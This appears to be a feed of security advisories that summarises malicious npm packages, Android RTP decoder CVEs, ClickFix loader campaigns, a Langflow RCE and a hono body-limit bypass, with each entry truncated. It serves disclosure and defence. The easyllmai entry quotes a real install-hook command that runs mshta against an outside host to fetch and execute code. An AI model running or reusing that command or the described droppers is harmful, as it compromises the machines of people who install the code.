MAL-2026-5915 Malicious code in nottuff23 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 41d429b099904a530f5dc4dfdd4724b7b6160c1de1330e0b103e8b8e3c737dfd The package is one of approximately 100 identically-named-pattern publishes from an automated bulk-publish operation. The tarball ships...

CVE-2026-0160

Google Android contains a buffer overflow vulnerability in the TextRtpPayloadDecoderNode::DecodeT140 function within TextRtpPayloadDecoderNode.cpp . The root cause is a missing bounds check , which could allow an attacker to perform an out-of-bounds write by sending specially crafted RTP text dat...

CVE-2026-0148

In multiple functions of VideoRtpPayloadDecoderNode.cpp, there is a possible out of bounds write due to an integer overflow. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation...

ClickFix Campaigns Expand Malware Delivery With New Loaders and Fake Update Lures

Cybersecurity researchers have flagged multiple ClickFix campaigns that deliver three malware loaders called BabaDeda Loader , Lorem Ipsum Loader , and Potemkin , per independent reports from Morphisec, BlueVoyant, and Huntress, respectively. Attacks involving BabaDeda Loader, observed in April...

Langflow: Unauthenticated RCE in Shareable Playgrounds

Summary The "Shareable Playground" or "Public Flows" in code contains a critical RCE vulnerability. Simply sharing a flow exposes the deployment to RCE risk by authenticated users. Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe Details Shareable Playground feature works by enabling the...

Malicious code in chai-as-polished (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b2ea0d46e0bb4382e8d684d025cb72b7f99e37874c571e9946ae1268b70be6cf Package name is a one-edit typosquat of the widely-used chai-as-promised, but the shipped code is unrelated to chai. The exported middleware spawns a...

MAL-2026-5901 Malicious code in chai-as-polished (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b2ea0d46e0bb4382e8d684d025cb72b7f99e37874c571e9946ae1268b70be6cf Package name is a one-edit typosquat of the widely-used chai-as-promised, but the shipped code is unrelated to chai. The exported middleware spawns a...

Malicious code in chai-as-tokenized (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 55c10da182a0c79ca5eb0f85c6b2e334b7ee4e90946dfcc34feb44e80afa4485 Package name impersonates chai-as-promised, and the README is a copy of pino's documentation, but the actual code is a remote-code-execution dropper...

MAL-2026-5904 Malicious code in chai-plugin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 67e08b149ec19ba5622783cfdf864741264b5f6cbe5f56a15c8553c6f1ab5106 Package name chai-plugin impersonates the popular chai assertion library — README and copyright headers reference chaijs.com / chaijs/chai, but the...

Malicious code in chai-solidity-testkit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7f6482febfb9b57ff5c59a2170dab31ec0dd814ccc21b6996dbb9e7a0c9e575c The package masquerades as a Web3/Solidity testing toolkit but its shipped source is an unrelated stream-pipeline library plus a hidden payload runne...

MAL-2026-5907 Malicious code in chai-solidity-testkit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7f6482febfb9b57ff5c59a2170dab31ec0dd814ccc21b6996dbb9e7a0c9e575c The package masquerades as a Web3/Solidity testing toolkit but its shipped source is an unrelated stream-pipeline library plus a hidden payload runne...

Malicious code in easyllmai (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2f3b4523b083331b34769a2a730586fa622f50560f2f237a893633e7ffb57872 On npm install, the package's preinstall lifecycle hook "preinstall": "node preinstall.js" unconditionally runs exec'cmd /c "mshta http://fixars.top"...

Malicious code in caspian-day-js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 895fe8e087ec7af36d61e8a6972f484e70bc1b828374ae83cef9ff4a927f7b55 caspian-day-js impersonates the popular dayjs package: package.json copies author iamkun, homepage day.js.org, and repo github.com/iamkun/dayjs.git,...

MAL-2026-5892 Malicious code in caspian-day-js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 895fe8e087ec7af36d61e8a6972f484e70bc1b828374ae83cef9ff4a927f7b55 caspian-day-js impersonates the popular dayjs package: package.json copies author iamkun, homepage day.js.org, and repo github.com/iamkun/dayjs.git,...

Malicious code in jest-test-plugin-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3f948eff13632557a65152c587b6aa87783e49cf40504aedca8ee15da6ed205e The package advertises itself as a Jest plugin name: 'jest-test-plugin-utils', description: 'mqtt utils' but ships no Jest or MQTT functionality. Its...

Malicious code in noderzero (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f9fa08be36ae12861809af052871d79536e7ed601c90bb2cff80fa0371e2c4ce noderzero is a self-described 'stealth assistant' that exfiltrates clipboard contents and full-screen screenshots to a hardcoded author-controlled...

hono: Body Limit Middleware can be bypassed on AWS Lambda by understating `Content-Length`

Summary The Body Limit Middleware trusts the request's Content-Length header to decide whether a body is within the limit. On AWS Lambda API Gateway v1/v2, ALB, VPC Lattice, and Lambda@Edge the body is delivered fully buffered and the adapter builds the request with the client-declared...

GHSA-RV63-4MWF-QQC2 hono: Body Limit Middleware can be bypassed on AWS Lambda by understating `Content-Length`

Summary The Body Limit Middleware trusts the request's Content-Length header to decide whether a body is within the limit. On AWS Lambda API Gateway v1/v2, ALB, VPC Lattice, and Lambda@Edge the body is delivered fully buffered and the adapter builds the request with the client-declared...

Malicious code in vortnode (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 43b7aa0683f0462d98c9ab789942e329e1298af3f85c0bd3a9b3761f5aebf8fb On npm install, the preinstall hook node lib/setup.js runs on Windows and invokes lib/worker.js, which downloads an executable to %LOCALAPPDATA%\Temp...

MAL-2026-5885 Malicious code in wordpad-text-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0d4d50aa948a360a788613f1fee19f4d1853c93d8792a5899c620e56d40c53ad On npm install, the declared postinstall hook runs node main.js, which decodes an obfuscated URL stored as...